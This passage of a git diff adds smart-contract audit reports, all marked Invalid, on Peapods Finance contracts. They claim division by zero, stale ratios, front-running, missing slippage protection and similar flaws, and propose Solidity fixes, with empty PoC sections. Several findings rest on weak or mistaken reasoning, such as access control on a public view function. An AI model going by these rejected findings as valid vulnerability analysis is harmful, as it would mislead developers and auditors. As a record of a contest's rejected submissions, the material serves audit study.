+* The contract's balance may be affected by other external transactions or reentrant calls during the execution of the function. These changes can occur:
+If another user or contract sends tokens to the contract during this time.
+
+##### Unreliable Calculation:
+
+As a result, _finalAmt is not guaranteed to accurately reflect the tokens transferred by _user. Instead, it may include:
+Tokens added to the contract by external sources (leading to overcharging).
+Tokens removed from the contract by external actions (leading to undercharging).
+
+
+* The function assumes that the contract's token balance will only change due to the safeTransferFrom call. This assumption fails in a real-world, high-concurrency environment where other transaction can modify the contract's balance, leading to incorrect calculations of _finalAmt.
+
+### Internal Pre-conditions
+
+###### Internal Pre-conditions
+No Concurrent Balance Changes: The contract's token balance must remain unchanged by external actions during execution.
+Compliant ERC20 Token: _token must follow the ERC20 standard without reentrancy issues.
+Valid Parameters: _amount > 0 and _token must pass _isValidRewardsToken.
+Sufficient Allowance and Balance: _user must have enough allowance and tokens for the transfer.
+Accurate Admin Fee Logic: Fee calculation must not cause inconsistencies in _finalAmt.
+
+### External Pre-conditions
+
+##### External Pre-conditions (Brief):
+No external token transfers should occur during execution.
+The token (_token) must follow ERC20 standards without reentrancy.
+_user must have sufficient balance and allowance for the transfer.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+###### Overcharging:
+ * Inflated _finalAmt leads to excessive fees, diverting extra funds .
+
+##### Reward Misallocation:
+ * Incorrect _finalAmt results in an inaccurate deposit of rewards, disrupting the reward system.
+
+### PoC
+
+_No response_
+
+### Mitigation
+```solidity
+ if (_shouldTransfer) {
+ IERC20(_token).safeTransferFrom(_user, address(this), _amount);
+ _finalAmt = _amount; // Mitigation: Use the original _amount
+ }
+```
+By directly assigning _finalAmt = _amount after the safeTransferFrom call, the contract now correctly uses the intended transfer amount. This eliminates the race condition because the calculation no longer depends on potentially changing balances.
+
diff --git a/invalid/013.md b/invalid/013.md
new file mode 100644
index 0000000..ed1a803
--- /dev/null
+++ b/invalid/013.md
@@ -0,0 +1,114 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Division by Zero Vulnerability in _depositRewards Function When totalShares Becomes Zero
+
+### Summary
+
+The core issue is a potential division by zero error in the [`_depositRewards function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L232), in [`TokenReward.sol`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L206) leading to a denial-of-service (DoS) vulnerability
+The function calculates rewards per share with this line:
+```
+ _rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+```
+if totalShares is 0, this causes a division by zero, reverting the transaction
+
+#### Insufficient Existing Check:
+##### The existing check:
+```solidity
+if (totalShares == 0) {
+ require(_token == rewardsToken, "R");
+ _burnRewards(_amountTotal);
+ return;
+}
+```
+the above code only handles the case where totalShares is 0 at the beginning of the function call and only if the deposited token is the main rewardsToken
+
+##### Vulnerability (DoS):
+An attacker can cause totalShares to become 0 after some rewards have been deposited for other tokens. This is done by users removing all their shares. Then, any subsequent deposit for that other token will trigger the division by zero, blocking further deposits for that token and others.
+
+
+
+### Root Cause
+
+* Incomplete Handling of Zero totalShares:
+ The code attempts to handle the case where totalShares is zero with the following block:
+```
+if (totalShares == 0) {
+ require(_token == rewardsToken, "R");
+ _burnRewards(_amountTotal);
+ return;
+}
+```
+
+The root cause of the division by zero vulnerability is an insufficient check on the totalShares variable within the _depositRewards function.
+
+
+Dependency on totalShares: The reward distribution logic relies on dividing by totalShares to calculate the reward per share. This creates a direct dependency on totalShares being a non-zero value.
+
+Incomplete Handling of Zero totalShares: The code attempts to handle the case where totalShares is zero with the following block:
+
+```
+if (totalShares == 0) {
+ require(_token == rewardsToken, "R");
+ _burnRewards(_amountTotal);
+ return;
+}
+```
+In simpler terms:
+
+The code assumes that if totalShares is not zero at the start of the function, it will remain non-zero throughout the function's execution. This assumption is incorrect. Users can withdraw all their staked tokens, causing totalShares to become zero after the initial check but before the division.
+
+the root cause is the failure to account for the dynamic nature of totalShares and the lack of a check immediately prior to the division operation. The existing check only handles a specific initial condition (only if the deposited token is the main rewardsToken) and is insufficient to prevent the division by zero error in all cases
+
+
+
+### Internal Pre-conditions
+
+The code checks totalShares == 0 at the beginning of the function and only handles the case where the deposited token is rewardsToken.
+
+What the code should check: The code should ensure totalShares > 0 immediately before the line:
+
+```
+_rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+```
+The vulnerability arises because totalShares can change during the execution of the _depositRewards function due to external calls (user unstaking). Therefore, the initial check is insufficient. The missing pre-condition check right before the division is the root of the problem.
+
+### External Pre-conditions
+
+* Users initially stake tokens: This sets totalShares to a value greater than 0.
+* Rewards are deposited (potentially for a non-rewardsToken): This establishes a non-zero _rewardsPerShare value for that token.
+* All users withdraw their staked tokens: This causes totalShares to become 0.
+* A subsequent deposit is attempted (for the same non-rewardsToken): This triggers the _depositRewards function again, but now totalShares is 0, leading to the division by zero error.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Denial of service (DoS) for reward distribution.
+* Potential orphaned or stuck funds, making rewards inaccessible.
+* The severity of this vulnerability is high because it can completely halt a core function of the contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+add a require statement immediately before the division operation that uses totalShares. require statement checks if totalShares is greater than 0. If it's not, the transaction reverts, preventing the division by zero error.
+
+```
++ require(totalShares > 0, "Division by zero"); // added Mitigation
+ _rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+ emit DepositRewards(_msgSender(), _token, _depositAmount);
+```
+
+
+Let's say an attacker has manipulated totalShares to become 0. When the _depositRewards function is called and reaches the mitigated code:
+
+The require(totalShares > 0, "Division by zero"); line is executed.
+Since totalShares is 0, the condition totalShares > 0 is false.
+The require statement causes the transaction to revert with the error message "Division by zero".
+The division operation is never executed, preventing the error and the DoS.
\ No newline at end of file
diff --git a/invalid/015.md b/invalid/015.md
new file mode 100644
index 0000000..8700a4f
--- /dev/null
+++ b/invalid/015.md
@@ -0,0 +1,77 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Incorrect Asset Allocation in _bond Function Due to Stale Total Asset Values
+
+### Summary
+
+In WeightedIndex.sol contract , the [`_bond function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139) _tokenAmtSupplyRatioX96 is calculated before updating _totalAssets to include the current deposit. This causes the token ratio used in the loop to calculate _transferAmt for other tokens to be stale, as it does not account for the updated _totalAssets after the deposit of the first token.
+
+As a result:
+
+The _transferAmt for other tokens in the index is incorrectly calculated.
+This leads to an imbalance in asset allocation and incorrect updates to _totalAssets for those tokens.
+
+```
+uint256 _tokenAmtSupplyRatioX96 =
+ _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token]; // <--- Stale _totalAssets used here
+
+// ... later in the loop ...
+
+uint256 _transferAmt = _firstIn
+ ? getInitialAmount(_token, _amount, indexTokens[_i].token)
+ : (_totalAssets[indexTokens[_i].token] * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96; // <--- Stale ratio used here
+
+_totalAssets[indexTokens[_i].token] += _transferAmt; // <--- Update happens here
+
+
+```
+
+### Root Cause
+
+The root cause of the bug lies in the calculation of _tokenAmtSupplyRatioX96 before the _totalAssets[_token] is updated to reflect the current deposit.
+
+```
+uint256 _tokenAmtSupplyRatioX96 =
+ _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token];
+```
+
+
+* The variable _tokenAmtSupplyRatioX96 is derived using _totalAssets[_token] without including the current deposit amount (_amount).
+* Since _totalAssets[_token] remains stale at this point, the ratio does not accurately reflect the updated total assets, leading to an incorrect ratio being propagated throughout the loop
+
+### Internal Pre-conditions
+
+Internal Pre-conditions (
+* Token Exists in Index: _token must be valid (_isTokenInIndex[_token] == true).
+* Not First Deposit: _firstIn must be false to trigger stale _totalAssets[_token].
+* Stale _totalAssets: _totalAssets[_token] is used before being updated with the new _amount.
+* Token Loop Runs: indexTokens.length > 0 ensures the loop executes.
+* No Recalculation: _tokenAmtSupplyRatioX96 is not recomputed inside the loop.
+
+### External Pre-conditions
+
+External Pre-conditions
+* User Deposit: The user must call the bond function with a valid token and amount, which will trigger the asset allocation.
+* Correct Amount Minted: The calculated _tokensMinted must meet the minimum required (_tokensMinted - _feeTokens >= _amountMintMin).
+* Fee Conditions: Fees must be properly checked for the user to avoid improper burning of tokens.
+* Valid Token: The _token parameter must be recognized as a valid token in the protocol (i.e., _isTokenInIndex[_token] == true).
+* Contract State: The protocol must have valid values for _totalAssets, _totalSupply, and other internal states before the bond action is performed.
+These conditions affect the protocol's behavior during the deposit and distribution process and trigger the bug when ignored.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The bug causes an imbalance in the token weights within the index. Due to the stale calculation of _tokenAmtSupplyRatioX96, the amounts of tokens transferred into the contract are calculated incorrectly. This results in these tokens being proportionally smaller than intended, disrupting the correct weighting. This could lead to disadvantages for users, especially during debonding or any other operations that rely on the correct index balance. If token weights are inaccurate, users might receive less than their fair share during asset distribution, affecting their overall returns or stake in the system.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+the calculation of _tokenAmtSupplyRatioX96 must be performed within the loop, immediately before the calculation of _transferAmt for each token. This ensures that the ratio uses the most up-to-date value of _totalAssets[_token], reflecting the current deposit.
\ No newline at end of file
diff --git a/invalid/016.md b/invalid/016.md
new file mode 100644
index 0000000..ca46648
--- /dev/null
+++ b/invalid/016.md
@@ -0,0 +1,56 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Incorrect Asset Allocation During Debonding Due to Outdated Total Supply in debond() Function
+
+### Summary
+
+The bug lies in [`function debond`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139) of WeightedIndex The key issue is the order of operations. _percSharesX96 is calculated before _totalSupply is updated. This means that the _debondAmount calculation uses a withdrawal percentage based on the old (higher) _totalSupply, leading to an over-distribution of assets
+
+```
+uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply; // <--- Problem: Uses stale _totalSupply
+
+// ... later ...
+
+_totalSupply -= _amountAfterFee; // _totalSupply is updated *after* the _percSharesX96 calculation
+
+// ... and then in the loop ...
+
+uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96; // <--- Problem: Uses the stale _percSharesX96
+```
+
+### Root Cause
+
+
+The root cause is the use of a stale (outdated) value of _totalSupply when calculating the withdrawal percentage (_percSharesX96). Specifically, _percSharesX96 is calculated before _totalSupply is updated to reflect the burning of pTKN during the debond operation. This results in an inflated withdrawal percentage, leading to an over-distribution of assets to the user.
+
+### Internal Pre-conditions
+
+sufficient pTKN balance for the user to debond, and a non-zero _amount requested for debonding
+
+### External Pre-conditions
+
+* User Interaction: A user must initiate the debond transaction.
+
+* Sufficient Gas: The user must provide enough gas to execute the transaction.
+
+* Valid Parameters: The _amount parameter must be a valid, non-zero amount of pTKN
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The impact of this bug is an over-distribution of assets to users who call the debond function. This dilutes the value of pTKN for the remaining holders, as the total assets are being depleted faster than they should be relative to the circulating supply of pTKN. Essentially, users are getting slightly more than their fair share of the underlying assets, at the expense of other pTKN holders.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+* Recalculate Share Proportions After Burn
+* Update _totalSupply and _totalAssets Before Distribution
+* Ensure Accurate Asset Calculations
\ No newline at end of file
diff --git a/invalid/025.md b/invalid/025.md
new file mode 100644
index 0000000..20439b9
--- /dev/null
+++ b/invalid/025.md
@@ -0,0 +1,55 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Lack of Staleness Check in _sequencerCheck() Allows Use of Outdated Sequencer Status
+
+### Summary
+
+The [`_sequencerCheck() function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L84) in the ChainlinkSinglePriceOracle contract is vulnerable to using outdated sequencer status information. While the function includes a check for whether the sequencer is up or down and a grace period, it lacks a crucial check for the recency of the data from the _sequencerUptimeFeed. It assumes that the data received is current but does not explicitly check how old the data is.
+
+### Root Cause
+
+The root cause of the vulnerability is the absence of a staleness check on the _sequencerUptimeFeed data within the [`_sequencerCheck() function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L84). The function relies on the _sequencerUptimeFeed to provide the sequencer's status (up or down) and a timestamp. However, it fails to verify if this information is recent. This allows the oracle to operate based on potentially outdated sequencer status, rendering the intended safety mechanisms (like the grace period) ineffective. The core issue is the lack of a mechanism to ensure the _sequencerUptimeFeed data reflects the current sequencer state.
+
+```
+ uint256 _timeSinceUp = block.timestamp - _startedAt;
+if (_timeSinceUp <= SEQ_GRACE_PERIOD) {
+ revert GracePeriodNotOver();
+}
+```
+This assumes _startedAt is always fresh, which is not necessarily true.
+
+
+### Internal Pre-conditions
+
+* The _sequencerUptimeFeed must be properly initialized
+* The latestRoundData() function call must succeed
+* The _startedAt timestamp must be recent
+* The sequencer feed must report reliable answer values
+* Grace period logic must work as expected
+
+### External Pre-conditions
+
+* Chainlink Sequencer Uptime Feed Must Be Functioning Correctly
+* The Sequencer Uptime Feed Must Provide Recent Data
+* Time Synchronization Between the Chainlink Oracle and the L2 Network
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Transactions Being Rejected Even When the Sequencer Is Up (Denial of Service)
+* Loss of Funds Due to Incorrect Grace Period Enforcement
+* Incorrect Price Calculations
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Add an explicit staleness check within the _sequencerCheck() function.
+This check must verify that the data from the _sequencerUptimeFeed is recent before allowing the oracle to proceed
\ No newline at end of file
diff --git a/invalid/026.md b/invalid/026.md
new file mode 100644
index 0000000..9998e5c
--- /dev/null
+++ b/invalid/026.md
@@ -0,0 +1,47 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Over-Burning Due to Mismatched Token Transfer Amounts
+
+### Summary
+
+The [`_processInboundTokens function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L104) in TokenBridge.sol burns _amount instead of _amountAfter. If the actual received amount (_amountAfter) is less than the intended amount (_amount), the contract may attempt to burn more tokens than it actually received.
+
+### Root Cause
+
+The [`_processInboundTokens function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L104) assumes that _amount (the intended transfer amount) is always fully received. However, ERC-20 token transfers might involve:
+
+Fee-on-Transfer Tokens – Some tokens deduct a fee, so the contract receives less than _amount.
+Incorrect Allowance or Insufficient Balance – If _user has insufficient balance or allowance, the transfer may partially fail or succeed with a lower amount.
+Since _amount is used for burning instead of _amountAfter, the contract may attempt to burn more tokens than it actually received. This can lead to failed transactions or unintended token destruction.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+##### Excessive Token Burning Leading to Losses or Failure
+Failed Transactions: If _amount is greater than _amountAfter (actual received amount), the burn call may fail due to insufficient balance in the contract. This could prevent token bridging from functioning properly.
+Denial of Service (DoS) Risk: If this issue causes repeated transaction failures, users may be unable to bridge tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```
+if (_isMintBurn) {
+ IERC20Bridgeable(_token).burn(_amountAfter); // Use _amountAfter instead of _amount
+ }
+```
\ No newline at end of file
diff --git a/invalid/027.md b/invalid/027.md
new file mode 100644
index 0000000..ee3dfb5
--- /dev/null
+++ b/invalid/027.md
@@ -0,0 +1,57 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Front-Running Vulnerability in TokenRouter.setConfig Allows Stealing Bridged Tokens
+
+### Summary
+
+The [`TokenRouter contract`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenRouter.sol) exhibits a critical front-running vulnerability in its [`setConfig function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenRouter.sol#L25). This function, responsible for setting the crucial targetBridge address for token bridging, is externally callable. This allows malicious actors to observe a legitimate setConfig transaction in the mempool and front-run it with their own transaction, setting the targetBridge to an address they control.
+
+### Root Cause
+
+Externally Callable setConfig: The setConfig function, which sets the critical targetBridge address, is externally callable. This means that anyone can submit a transaction to call this function.
+
+Transaction Visibility in Mempool: Transactions waiting to be included in a block are visible in the mempool. This allows malicious actors to observe pending setConfig transactions.
+
+### Internal Pre-conditions
+
+TokenRouter Deployed: The TokenRouter contract must be deployed and functional.
+
+Owner Exists: An account with ownership privileges for the TokenRouter contract exists.
+
+Intended Configuration: The owner has determined the correct values for the TokenConfig struct, including the proper targetBridge address, _targetChain, _sourceToken, _sourceTokenMintBurn, and _targetToken.
+
+Gas Available: The owner has sufficient ETH in their wallet to pay for the gas costs of the setConfig transaction.
+
+No Prior Malicious Configuration: The _configs mapping within the TokenRouter must not already contain a malicious configuration for the specific _sourceToken and _targetChain combination that the owner intends to configure. If a malicious configuration is already in place, the front-running attack might not be necessary.
+
+No Concurrent Configuration: No other party is simultaneously attempting to configure the same _sourceToken and _targetChain combination. If multiple parties are trying to configure at the same time, the outcome could be unpredictable.
+
+Mempool Visibility: The owner's transaction calling setConfig is visible in the mempool before it is included in a block. This visibility is a crucial precondition for the front-running attack. Without it, the attacker wouldn't know to front-run the transaction.
+
+### External Pre-conditions
+
+Attacker Exists: A malicious actor with an Ethereum wallet and sufficient ETH to pay for gas exists.
+
+Attacker's Observation: The attacker is actively monitoring the mempool and observes the owner's pending setConfig transaction.
+
+Attacker's Gas: The attacker has enough ETH in their wallet to outbid the owner's gas price and ensure their malicious transaction is included in a block before the owner's.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Loss of Bridged Funds
+* Reputational Damage
+* Financial Loss for Users:
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+use of commit- reveal - scheme
\ No newline at end of file
diff --git a/invalid/028.md b/invalid/028.md
new file mode 100644
index 0000000..c25cb12
--- /dev/null
+++ b/invalid/028.md
@@ -0,0 +1,26 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Lack of Access Control on TokenRouter.getConfig
+
+### Summary
+
+The [`getConfig`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenRouter.sol#L16) in TokenRoute is publicly accessible, anyone can read the bridge configuration, including sensitive information like the targetBridge address, prematurely
+
+### Root Cause
+
+The TokenRouter's getConfig function is publicly accessible, allowing anyone to read the bridge configuration (including the sensitive targetBridge address), potentially leading to information leakage and minor griefing. The root cause is the lack of access control on this function.
+
+
+### Impact
+
+The impact of the publicly accessible getConfig function in TokenRouter is primarily information leakage, potentially aiding attackers, and secondarily, minor griefing. While not directly enabling theft, premature exposure of sensitive data like the targetBridge address can give attackers an advantage.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Implement role-based access control using OpenZeppelin's AccessControl contract. or a CONFIG_VIEWER_ROLE" should be created, and only authorized accounts should be granted this role, allowing them to call getConfig function
\ No newline at end of file
diff --git a/invalid/029.md b/invalid/029.md
new file mode 100644
index 0000000..5777595
--- /dev/null
+++ b/invalid/029.md
@@ -0,0 +1,47 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Incorrect Router in swapV2SingleExactOut
+
+### Summary
+
+The [ `swapV2SingleExactOut`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L72) function in `CamelotDexAdapter` incorrectly uses `V2_ROUTER_UNI` (Uniswap V2 Router) instead of `V2_ROUTER` (Camelot V2 Router). This leads to swaps being attempted on the wrong exchange, likely resulting in loss of funds for users.
+
+
+### Root Cause
+
+Incorrect Variable Usage: mistakenly used the V2_ROUTER_UNI constant (which holds the address of the Uniswap V2 router) instead of the V2_ROUTER variable (which holds the address of the intended Camelot V2 router).
+
+Vulnerable Code:
+```solidity
+IERC20(_tokenIn).safeIncreaseAllowance(address(V2_ROUTER_UNI), _amountInMax);
+V2_ROUTER_UNI.swapTokensForExactTokens(_amountOut, _amountInMax, _path, _recipient, block.timestamp);
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Critical - Users are likely to lose funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Replace V2_ROUTER_UNI with V2_ROUTER
+
+```solidity
+IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountInMax);
+ICamelotRouter(V2_ROUTER).swapTokensForExactTokens(_amountOut, _amountInMax, _path, _recipient, block.timestamp);
\ No newline at end of file
diff --git a/invalid/030.md b/invalid/030.md
new file mode 100644
index 0000000..fe471fe
--- /dev/null
+++ b/invalid/030.md
@@ -0,0 +1,45 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Unbounded Allowance Vulnerability
+
+### Summary
+
+The contracts (`CamelotDexAdapter` and `UniswapDexAdapter`) use `safeIncreaseAllowance` but never revoke allowances granted to routers (`V2_ROUTER`, `V3_ROUTER`). This creates an unbounded allowance risk, potentially exposing user funds to exploitation if the router contracts are compromised.
+
+
+### Root Cause
+
+_No response_
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Unlimited Spending Permission: The core issue is that the contract grants an allowance to the router contract (either V2_ROUTER or V3_ROUTER), but this allowance is never revoked. This means that the router (or, more accurately, whoever controls the router) has permission to spend up to the approved amount of the user's tokens indefinitely.
+
+* Router Compromise: While the router contracts are generally considered trustworthy, there's always a risk of a vulnerability being discovered in the router contract itself, or the private keys controlling the router being compromised.
+
+* If the router contract is compromised, an attacker could exploit the existing unrevoked allowances to drain all the tokens that users have approved to the router through these adapter contracts. This could affect a large number of users and result in a substantial loss of funds.
+
+* No Time Limit: The vulnerability exists indefinitely. Even if a user interacts with the CamelotDexAdapter or UniswapDexAdapter once and never uses it again, the allowance remains active. The user's funds are at risk until they manually revoke the allowance (if they are even aware of the risk).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Revoke After Interaction: Revoke the allowance immediately after the interaction with the router is finished. This should be done within the same transaction if possible. this is done by using OpenZeppelin's safeDecreaseAllowance to decrease the allowance
+
diff --git a/invalid/031.md b/invalid/031.md
new file mode 100644
index 0000000..b625179
--- /dev/null
+++ b/invalid/031.md
@@ -0,0 +1,82 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Fee Deduction Before Loan Execution Can Lead to User Loss
+
+### Summary
+
+
+The [`flash function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L406) collects the flash loan fee before transferring the borrowed tokens to the recipient:
+```solidity
+ IERC20(DAI).safeTransferFrom(_msgSender(), _feeRecipient, FLASH_FEE_AMOUNT_DAI);
+```
+If the flash loan transfer fails (due to insufficient liquidity, reverts in recipient callback, or other reasons), the borrower still loses the fee without receiving the loaned funds.
+
+The problem is the order of these operations. The fee collection should happen after the flash loan is successfully completed . This would ensure that the fee is only paid if the loan actually goes through.
+
+### Root Cause
+
+_No response_
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+User Loss of Funds:
+
+Direct Financial Loss: Users can lose the DAI fee (FLASH_FEE_AMOUNT_DAI) even if the flash loan transaction fails. This is a direct financial loss for the user, even though it's not a direct loss for the protocol itself.
+
+Unintended Cost: Users are effectively paying a fee for attempting a flash loan, not for successfully completing one. This is likely not the intended behavior and can lead to a negative user experience.
+
+Malicious users can exploit this by repeatedly initiating flash loans, having the DAI fee collected, and then reverting the transaction (e.g., in the callback). This allows them to "steal" DAI fees from other users without ever borrowing any tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ensure that fee is collected after token transfer
+
+```
+
+function flash(address _recipient, address _token, uint256 _amount, bytes calldata _data) external override lock {
+ require(_isTokenInIndex[_token], "X");
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ address _feeRecipient = lpRewardsToken == DAI
+ ? address(this)
+ : PAIRED_LP_TOKEN == DAI ? _rewards : Ownable(address(V3_TWAP_UTILS)).owner();
+
+ uint256 _balance = IERC20(_token).balanceOf(address(this));
+
+ IERC20(_token).safeTransfer(_recipient, _amount);
+
+ IFlashLoanRecipient(_recipient).callback(_data);
+
+ require(IERC20(_token).balanceOf(address(this)) >= _balance, "FA");
+
+ // Fee collection moved AFTER token transfer and checks
+ IERC20(DAI).safeTransferFrom(_msgSender(), _feeRecipient, FLASH_FEE_AMOUNT_DAI);
+
+ if (lpRewardsToken == DAI) {
+ IERC20(DAI).safeIncreaseAllowance(_rewards, FLASH_FEE_AMOUNT_DAI);
+ ITokenRewards(_rewards).depositRewards(DAI, FLASH_FEE_AMOUNT_DAI);
+ } else if (PAIRED_LP_TOKEN == DAI) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+
+ emit FlashLoan(_msgSender(), _recipient, _token, _amount);
+}
+
+
diff --git a/invalid/068.md b/invalid/068.md
new file mode 100644
index 0000000..ef05125
--- /dev/null
+++ b/invalid/068.md
@@ -0,0 +1,73 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Two-Hop Swap Missing First-Hop _amountOutMin Protection
+
+### Summary
+
+
+The [`_swapV2 function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L368) in `AutoCompoundingPodLp` handling of two-hop swaps contains a critical flawed logic. the first swap is executed with _amountOutMin set to 0. This effectively disables slippage protection for the first leg of the swap, exposing users to potentially significant losses if the price of the intermediate token fluctuates unfavorably. Because the second leg's _amountOutMin is calculated based on the original input amount (not the actual, potentially reduced output from the first swap), the overall swap becomes vulnerable. This can be exploited by manipulating the price of the intermediate token.
+
+```
+ _amountOut =
+ DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));
+ if (_twoHops) {
+ uint256 _intermediateBal = _amountOut > 0 ? _amountOut : IERC20(_path[1]).balanceOf(address(this));
+ if (maxSwap[_path[1]] > 0 && _intermediateBal > maxSwap[_path[1]]) {
+ _intermediateBal = maxSwap[_path[1]];
+ }
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ _amountOut = DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+
+### Root Cause
+
+unconditional use of 0 as _amountOutMin for the first hop of a two-hop swap.
+
+### Internal Pre-conditions
+
+_twoHops is true: The swap being attempted must be a two-hop swap. The vulnerability is only present in two-hop swaps, not single-hop swaps
+
+Price Volatility
+
+Uniswap V2 Pool Existence: The relevant Uniswap V2 pools for the swap path must exist and have sufficient liquidity
+
+### External Pre-conditions
+
+Malicious Actor (or Market Conditions): A malicious actor is not strictly required, but they can significantly amplify the exploit. The vulnerability can also manifest due to normal market volatility
+
+Knowledge of the Vulnerability
+
+Ability to Trade: The attacker needs to have the capital and means to trade on the Uniswap V2 pools involved in the two-hop swap. They need to be able to execute trades to manipulate the price of the intermediate token.
+
+Timing: The attacker needs to time their price manipulation to coincide with a user's two-hop swap transaction
+
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Frequency of Two-Hop Swaps: If the contract frequently performs two-hop swaps, the cumulative losses over time can be substantial.
+
+* User's Slippage Tolerance: While the user sets a slippage tolerance, this is not applied to the first hop. So, even if a user sets a low slippage tolerance, they are still fully exposed to slippage on the first hop
+
+* Loss of Funds:
+
+* Unfavorable Exchange Rates
+
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+
+Calculate Expected Output (First Hop): Before performing the first swap, calculate the expected output amount of the intermediate token
+
+Use Minimum Output Amount in First Swap: Pass this calculated minimum output amount as the _amountOutMin parameter to the DEX_ADAPTER.swapV2Single function for the first swap. This will ensure that the first swap only executes if the output amount is greater than or equal to the calculated minimum
+
diff --git a/invalid/069.md b/invalid/069.md
new file mode 100644
index 0000000..eb57cc5
--- /dev/null
+++ b/invalid/069.md
@@ -0,0 +1,59 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Ineffective Slippage Protection in `_processRewardsToPodLp` leading to potential loss of funds
+
+### Summary
+
+The [`_processRewardsToPodLp function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213), responsible for converting reward tokens to LP tokens, is vulnerable to slippage attacks. While the called function _tokenToPodLp has a _amountLpOutMin parameter for slippage protection, _processRewardsToPodLp always passes [`0 for this parameter`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L226). This effectively disables the slippage protection, allowing price manipulation.
+
+### Root Cause
+
+`_processRewardsToPodLp` is unconditional passed of 0 as the _amountLpOutMin parameter to the [`_tokenToPodLp function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L233C1-L247C6). This effectively disables the slippage protection mechanism that _tokenToPodLp is designed to provide. Because _amountLpOutMin is always zero, the `require(_lpAmtOut >= _amountLpOutMin, "M")`; check within _tokenToPodLp becomes meaningless, as any output amount (even a tiny, manipulated one) will satisfy the condition.
+
+### Internal Pre-conditions
+
+Reward Tokens must Exist:
+
+yieldConvEnabled is true
+
+_tokenToPodLp's Internal Preconditions:
+
+Price Volatility (or Manipulation
+
+### External Pre-conditions
+
+Price Volatility (or Manipulation):
+
+Malicious Actor
+
